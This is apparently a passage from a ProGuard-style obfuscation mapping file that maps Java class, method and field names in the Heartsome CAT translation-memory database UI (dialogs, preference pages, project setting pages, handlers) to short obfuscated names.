createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void setDialogUseFor(int) -> m + int getDialogUseFor() -> dH + org.eclipse.swt.widgets.Composite createPageContainer(org.eclipse.swt.widgets.Composite) -> createPageContainer + org.eclipse.swt.widgets.Control createTreeAreaContents(org.eclipse.swt.widgets.Composite) -> createTreeAreaContents + void initTreePopMenu() -> dI + void layoutTreeAreaControl(org.eclipse.swt.widgets.Control) -> layoutTreeAreaControl + org.eclipse.jface.viewers.TreeViewer createTreeViewer(org.eclipse.swt.widgets.Composite) -> createTreeViewer + void addListeners(org.eclipse.jface.viewers.TreeViewer) -> addListeners + net.heartsome.cat.database.SystemDBOperator getCurrSysDbOp() -> dJ + void updateTreeFont(org.eclipse.swt.graphics.Font) -> updateTreeFont + org.eclipse.jface.viewers.TreeViewer getTreeViewer() -> getTreeViewer + org.eclipse.jface.viewers.TableViewer getDbTableViewer() -> dK + java.util.List getNeedUpdateToFile() -> dL + org.eclipse.swt.widgets.Sash createSash(org.eclipse.swt.widgets.Composite,org.eclipse.swt.widgets.Control) -> createSash + int getLastRightWidth() -> getLastRightWidth + void setLastTreeWidth(int) -> n + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void setShellSize(int,int) -> b + void initDataBindings() -> dM + void createColumn(org.eclipse.jface.viewers.TableViewer) -> a + org.eclipse.jface.viewers.TableViewerColumn createTableViewerColumn(org.eclipse.jface.viewers.TableViewer,java.lang.String,int,int) -> a + org.eclipse.core.runtime.IStatus validator() -> dN + net.heartsome.cat.common.bean.DatabaseModelBean configIsChanged(java.util.List,net.heartsome.cat.common.bean.DatabaseModelBean,net.heartsome.cat.common.bean.MetaData) -> a + void addServerWithExistCheck(net.heartsome.cat.common.bean.DatabaseModelBean,java.util.List) -> a + void updateServer(net.heartsome.cat.common.bean.DatabaseModelBean,java.util.List) -> b + void setLastSelectedServer(java.lang.String) -> cg + java.lang.String getLastSelectedServer() -> dO + java.lang.String getCurrDbType() -> dP + void setCurrDbType(java.lang.String) -> ch + net.heartsome.cat.common.bean.MetaData getCurrDbMetaData() -> dQ + void resetInputValue() -> resetInputValue + void initUI(boolean) -> o + java.util.List searchCurrServerDatabase(net.heartsome.cat.database.SystemDBOperator,net.heartsome.cat.common.bean.DatabaseModelBean) -> a + void executeSearch(net.heartsome.cat.database.SystemDBOperator) -> a + void createNewDatabase() -> dR + void executeSelectDatabase() -> dS + void okPressed() -> okPressed + boolean close() -> close + java.util.Map getHasSelectedDatabase() -> dT + org.eclipse.swt.graphics.Image access$0(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> a + org.eclipse.swt.graphics.Image access$1(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> b + org.eclipse.swt.graphics.Image access$2(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> c + org.eclipse.swt.graphics.Image access$3(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> d + org.eclipse.swt.graphics.Image access$4(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> e + org.eclipse.swt.graphics.Image access$5(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> f + org.eclipse.swt.graphics.Image access$6(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> g + org.eclipse.swt.graphics.Point access$7(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> h + void access$8(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog,org.eclipse.swt.graphics.Point) -> a + org.eclipse.swt.widgets.Text access$9(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> i + org.eclipse.core.runtime.IStatus access$10(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> j + net.heartsome.cat.database.SystemDBOperator access$11(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> k + java.util.Map access$12(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> l + java.lang.String access$13(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> m + net.heartsome.cat.common.bean.DatabaseModelBean access$14(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> n + void access$15(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog,net.heartsome.cat.common.bean.DatabaseModelBean,java.util.List) -> a + void access$16(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> o + void access$17(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog,net.heartsome.cat.database.SystemDBOperator) -> a + void access$18(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> p + org.slf4j.Logger access$19(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> q + org.eclipse.core.databinding.observable.list.WritableList access$20(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> r + java.lang.String access$21() -> gQ + net.heartsome.cat.database.ui.core.DatabaseConfiger access$22(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> s + void access$23(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog,java.lang.String) -> a + void access$24(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog,boolean) -> a + void access$25(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog,java.lang.String) -> b + void access$26(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> t + org.eclipse.jface.viewers.TreeViewer access$27(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> u + org.eclipse.swt.widgets.Menu access$28(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog) -> v + void access$29(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog,int) -> a + void access$30(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog,int,int) -> a + java.util.List access$31(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog,net.heartsome.cat.database.SystemDBOperator,net.heartsome.cat.common.bean.DatabaseModelBean) -> a +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$1 -> net.heartsome.cat.database.ui.tm.dialog.aq: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$10 -> net.heartsome.cat.database.ui.tm.dialog.ar: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + void run() -> run +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$11 -> net.heartsome.cat.database.ui.tm.dialog.as: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$12 -> net.heartsome.cat.database.ui.tm.dialog.at: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + org.eclipse.jface.viewers.TreeViewer val$viewer -> qp + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$13 -> net.heartsome.cat.database.ui.tm.dialog.au: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + org.eclipse.jface.viewers.TreeViewer val$viewer -> qp + void menuDetected(org.eclipse.swt.events.MenuDetectEvent) -> menuDetected +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$14 -> net.heartsome.cat.database.ui.tm.dialog.av: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + org.eclipse.swt.widgets.Sash val$sash -> qq + org.eclipse.swt.widgets.Control val$rightControl -> qr + org.eclipse.swt.widgets.Composite val$composite -> qs + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$15 -> net.heartsome.cat.database.ui.tm.dialog.aw: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$16 -> net.heartsome.cat.database.ui.tm.dialog.ax: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$17 -> net.heartsome.cat.database.ui.tm.dialog.ay: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$18 -> net.heartsome.cat.database.ui.tm.dialog.az: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + net.heartsome.cat.database.SystemDBOperator val$sysDbOp -> qt + void run() -> run +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$19 -> net.heartsome.cat.database.ui.tm.dialog.ba: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + java.lang.String isValid(java.lang.String) -> isValid +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$2 -> net.heartsome.cat.database.ui.tm.dialog.bb: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + java.lang.String val$helpUrl -> pb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$3 -> net.heartsome.cat.database.ui.tm.dialog.bc: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + void shellActivated(org.eclipse.swt.events.ShellEvent) -> shellActivated +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$4 -> net.heartsome.cat.database.ui.tm.dialog.bd: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$5 -> net.heartsome.cat.database.ui.tm.dialog.be: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog access$0(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$5) -> a +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$5$1 -> net.heartsome.cat.database.ui.tm.dialog.bf: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$5 this$1 -> sb + void run() -> run +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$6 -> net.heartsome.cat.database.ui.tm.dialog.bg: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$7 -> net.heartsome.cat.database.ui.tm.dialog.bh: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$8 -> net.heartsome.cat.database.ui.tm.dialog.bi: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog access$0(net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$8) -> a +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$8$1 -> net.heartsome.cat.database.ui.tm.dialog.bj: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$8 this$1 -> sc + void run() -> run +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$9 -> net.heartsome.cat.database.ui.tm.dialog.bk: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$9$1 -> net.heartsome.cat.database.ui.tm.dialog.bl: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$9 this$1 -> sd + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$9$1$1 -> net.heartsome.cat.database.ui.tm.dialog.bm: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$9$1 this$2 -> se + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$9$1$2 -> net.heartsome.cat.database.ui.tm.dialog.bn: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$9$1 this$2 -> se + java.lang.String val$helpUrl -> pb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$TreeContentProvider -> net.heartsome.cat.database.ui.tm.dialog.bo: + java.util.Map map -> map + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + void dispose() -> dispose + void inputChanged(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> inputChanged + java.lang.Object[] getElements(java.lang.Object) -> getElements + java.lang.Object[] getChildren(java.lang.Object) -> getChildren + java.lang.Object getParent(java.lang.Object) -> getParent + boolean hasChildren(java.lang.Object) -> hasChildren +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$TreeContentProvider$1 -> net.heartsome.cat.database.ui.tm.dialog.br: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$TreeContentProvider this$1 -> Ze + int compare(net.heartsome.cat.common.bean.DatabaseModelBean,net.heartsome.cat.common.bean.DatabaseModelBean) -> a + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog$TreeLableProvider -> net.heartsome.cat.database.ui.tm.dialog.bp: + net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog this$0 -> sa + java.lang.String getText(java.lang.Object) -> getText + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage +net.heartsome.cat.database.ui.tm.dialog.XPropRow -> net.heartsome.cat.database.ui.tm.dialog.XPropRow: + java.lang.String source -> source + java.util.ArrayList lstTarget -> lstTarget + java.lang.String target -> target + java.lang.String attribute -> attribute + java.util.HashMap dataMap -> dataMap + java.util.HashMap map -> map + boolean flag -> flag + boolean getFlag() -> getFlag + void setFlag(boolean) -> setFlag + java.lang.String getId() -> getId + java.lang.String getSource() -> getSource + void setSource(java.lang.String) -> setSource + java.util.ArrayList getLstTarget() -> getLstTarget + void setLstTarget(java.util.ArrayList) -> setLstTarget + java.lang.String getTarget() -> getTarget + void setTarget(java.lang.String) -> setTarget + java.lang.String getAttribute() -> getAttribute + void setAttribute(java.lang.String) -> setAttribute + java.util.HashMap getDataMap() -> getDataMap + void setDataMap(java.util.HashMap) -> setDataMap + void setData(java.lang.String,java.lang.Object) -> setData + java.lang.Object getData(java.lang.String) -> getData +net.heartsome.cat.database.ui.tm.handler.ConcordanceSearchHandler -> net.heartsome.cat.database.ui.tm.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.database.ui.tm.handler.ExportTmxHandler -> net.heartsome.cat.database.ui.tm.handler.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.database.ui.tm.handler.ImportTmxHandler -> net.heartsome.cat.database.ui.tm.handler.c: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.database.ui.tm.handler.NewTMHandler -> net.heartsome.cat.database.ui.tm.handler.d: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.database.ui.tm.handler.TmDbManageHandler -> net.heartsome.cat.database.ui.tm.handler.e: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.database.ui.tm.handler.UpdateTMHandler -> net.heartsome.cat.database.ui.tm.handler.f: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage -> net.heartsome.cat.database.ui.tm.newproject.a: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + java.util.List curDbList -> qB + org.eclipse.swt.graphics.Image checkedImage -> qC + org.eclipse.swt.graphics.Image uncheckedImage -> qD + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void addToCurrDbList(java.util.List) -> q + boolean checkDbIsExist(java.util.List,net.heartsome.cat.common.bean.DatabaseModelBean) -> a + void removeForCurrDbList(org.eclipse.jface.viewers.IStructuredSelection) -> a + void createColumn(org.eclipse.jface.viewers.TableViewer) -> a + org.eclipse.jface.viewers.TableViewerColumn createTableViewerColumn(org.eclipse.jface.viewers.TableViewer,java.lang.String,int,int) -> a + void checkDbHashMatch(net.heartsome.cat.common.bean.DatabaseModelBean,java.lang.String) -> a + java.util.List getSelectedDatabase() -> getSelectedDatabase + void dispose() -> dispose + org.eclipse.jface.viewers.TableViewer access$0(net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage) -> a + void access$1(net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage,java.util.List) -> a + void access$2(net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage,org.eclipse.jface.viewers.IStructuredSelection) -> a + void access$3(net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage,net.heartsome.cat.common.bean.DatabaseModelBean,java.lang.String) -> a + org.eclipse.swt.graphics.Image access$4(net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage) -> b + org.eclipse.swt.graphics.Image access$5(net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage) -> c +net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage$1 -> net.heartsome.cat.database.ui.tm.newproject.b: + net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage this$0 -> sf + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage$10 -> net.heartsome.cat.database.ui.tm.newproject.c: + net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage this$0 -> sf + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage$11 -> net.heartsome.cat.database.ui.tm.newproject.m: + net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage this$0 -> sf + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage$2 -> net.heartsome.cat.database.ui.tm.newproject.d: + net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage this$0 -> sf + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage$3 -> net.heartsome.cat.database.ui.tm.newproject.e: + net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage this$0 -> sf + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage$4 -> net.heartsome.cat.database.ui.tm.newproject.f: + net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage this$0 -> sf + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage$5 -> net.heartsome.cat.database.ui.tm.newproject.g: + net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage this$0 -> sf + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage$6 -> net.heartsome.cat.database.ui.tm.newproject.h: + net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage this$0 -> sf + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage$7 -> net.heartsome.cat.database.ui.tm.newproject.i: + net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage this$0 -> sf + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage$8 -> net.heartsome.cat.database.ui.tm.newproject.j: + net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage this$0 -> sf + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage$9 -> net.heartsome.cat.database.ui.tm.newproject.k: + net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage this$0 -> sf + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage$ReadableEditingSupport -> net.heartsome.cat.database.ui.tm.newproject.l: + org.eclipse.jface.viewers.TableViewer viewer -> qF + net.heartsome.cat.database.ui.tm.newproject.NewProjectTmPage this$0 -> sf + org.eclipse.jface.viewers.CellEditor getCellEditor(java.lang.Object) -> getCellEditor + boolean canEdit(java.lang.Object) -> canEdit + java.lang.Object getValue(java.lang.Object) -> getValue + void setValue(java.lang.Object,java.lang.Object) -> setValue +net.heartsome.cat.database.ui.tm.preference.TMDatabaseInitializer -> net.heartsome.cat.database.ui.tm.preference.a: + void initializeDefaultPreferences() -> initializeDefaultPreferences +net.heartsome.cat.database.ui.tm.preference.TMDatabasePage -> net.heartsome.cat.database.ui.tm.preference.b: + java.lang.String ID -> ID + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + org.eclipse.swt.widgets.Spinner contextSpi -> sg + org.eclipse.swt.widgets.Button btnCaseSensitive -> sh + org.eclipse.swt.widgets.Button btnIsIgnoreMark -> py + org.eclipse.swt.widgets.Spinner matchNumberSpi -> si + org.eclipse.swt.widgets.Label tagPenaltyLbl -> XD + org.eclipse.swt.widgets.Spinner tagPenaltySpi -> XE + org.eclipse.swt.widgets.Spinner minMatchSpi -> sj + org.eclipse.swt.widgets.Button btnDefaultDBPrecedence -> sk + org.eclipse.swt.widgets.Button btnDateReverse -> sl + org.eclipse.swt.widgets.Button btnAlwaysAdd -> qG + org.eclipse.swt.widgets.Button btnRepeatOverwrite -> qH + org.eclipse.swt.widgets.Button btnRepeatIgnore -> qJ + boolean isInit -> sm + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void setTagPenaltyEnable() -> er + void performDefaults() -> performDefaults + boolean performOk() -> performOk + void setInitValues(boolean,int,int) -> a + void init(org.eclipse.ui.IWorkbench) -> init + void access$0(net.heartsome.cat.database.ui.tm.preference.TMDatabasePage) -> a + org.eclipse.swt.widgets.Spinner access$1(net.heartsome.cat.database.ui.tm.preference.TMDatabasePage) -> b +net.heartsome.cat.database.ui.tm.preference.TMDatabasePage$1 -> net.heartsome.cat.database.ui.tm.preference.c: + net.heartsome.cat.database.ui.tm.preference.TMDatabasePage this$0 -> sn + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.database.ui.tm.preference.TMDatabasePage$2 -> net.heartsome.cat.database.ui.tm.preference.d: + net.heartsome.cat.database.ui.tm.preference.TMDatabasePage this$0 -> sn + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage -> net.heartsome.cat.database.ui.tm.projectsetting.a: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + java.util.List curDbList -> qB + org.eclipse.swt.graphics.Image checkedImage -> qC + org.eclipse.swt.graphics.Image uncheckedImage -> qD + void setProjectInfoBean(net.heartsome.cat.common.bean.ProjectInfoBean) -> setProjectInfoBean + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void removeForCurrDbList(org.eclipse.jface.viewers.IStructuredSelection) -> a + void addToCurrDbList(java.util.List) -> q + boolean checkDbIsExist(java.util.List,net.heartsome.cat.common.bean.DatabaseModelBean) -> a + void checkDbHashMatch(net.heartsome.cat.common.bean.DatabaseModelBean) -> a + void createColumn(org.eclipse.jface.viewers.TableViewer) -> a + org.eclipse.jface.viewers.TableViewerColumn createTableViewerColumn(org.eclipse.jface.viewers.TableViewer,java.lang.String,int,int) -> a + void init(org.eclipse.ui.IWorkbench) -> init + java.util.Set getSysAvailableDatabase() -> jZ + java.util.List getUnAvailableDatabase() -> nI + java.util.List getAvailableDatabase() -> nJ + void changeDefaultDatabaseSet() -> nK + void dispose() -> dispose + org.eclipse.jface.viewers.TableViewer access$0(net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage) -> a + void access$1(net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage,java.util.List) -> a + void access$2(net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage,org.eclipse.jface.viewers.IStructuredSelection) -> a + org.eclipse.swt.graphics.Image access$3(net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage) -> b + org.eclipse.swt.graphics.Image access$4(net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage) -> c +net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage$1 -> net.heartsome.cat.database.ui.tm.projectsetting.b: + net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage this$0 -> so + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage$10 -> net.heartsome.cat.database.ui.tm.projectsetting.c: + net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage this$0 -> so + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage$11 -> net.heartsome.cat.database.ui.tm.projectsetting.m: + net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage this$0 -> so + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage$2 -> net.heartsome.cat.database.ui.tm.projectsetting.d: + net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage this$0 -> so + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage$3 -> net.heartsome.cat.database.ui.tm.projectsetting.e: + net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage this$0 -> so + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage$4 -> net.heartsome.cat.database.ui.tm.projectsetting.f: + net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage this$0 -> so + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage$5 -> net.heartsome.cat.database.ui.tm.projectsetting.g: + net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage this$0 -> so + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage$6 -> net.heartsome.cat.database.ui.tm.projectsetting.h: + net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage this$0 -> so + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage$7 -> net.heartsome.cat.database.ui.tm.projectsetting.i: + net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage this$0 -> so + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage$8 -> net.heartsome.cat.database.ui.tm.projectsetting.j: + net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage this$0 -> so + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage$9 -> net.heartsome.cat.database.ui.tm.projectsetting.k: + net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage this$0 -> so + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage$ReadableEditingSupport -> net.heartsome.cat.database.ui.tm.projectsetting.l: + org.eclipse.jface.viewers.TableViewer viewer -> qF + net.heartsome.cat.database.ui.tm.projectsetting.ProjectSettingTMPage this$0 -> so + org.eclipse.jface.viewers.CellEditor getCellEditor(java.lang.Object) -> getCellEditor + boolean canEdit(java.lang.Object) -> canEdit + java.lang.Object getValue(java.lang.Object) -> getValue + void setValue(java.lang.Object,java.lang.Object) -> setValue +net.heartsome.cat.database.ui.tm.resource.Messages -> net.heartsome.cat.database.ui.tm.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString 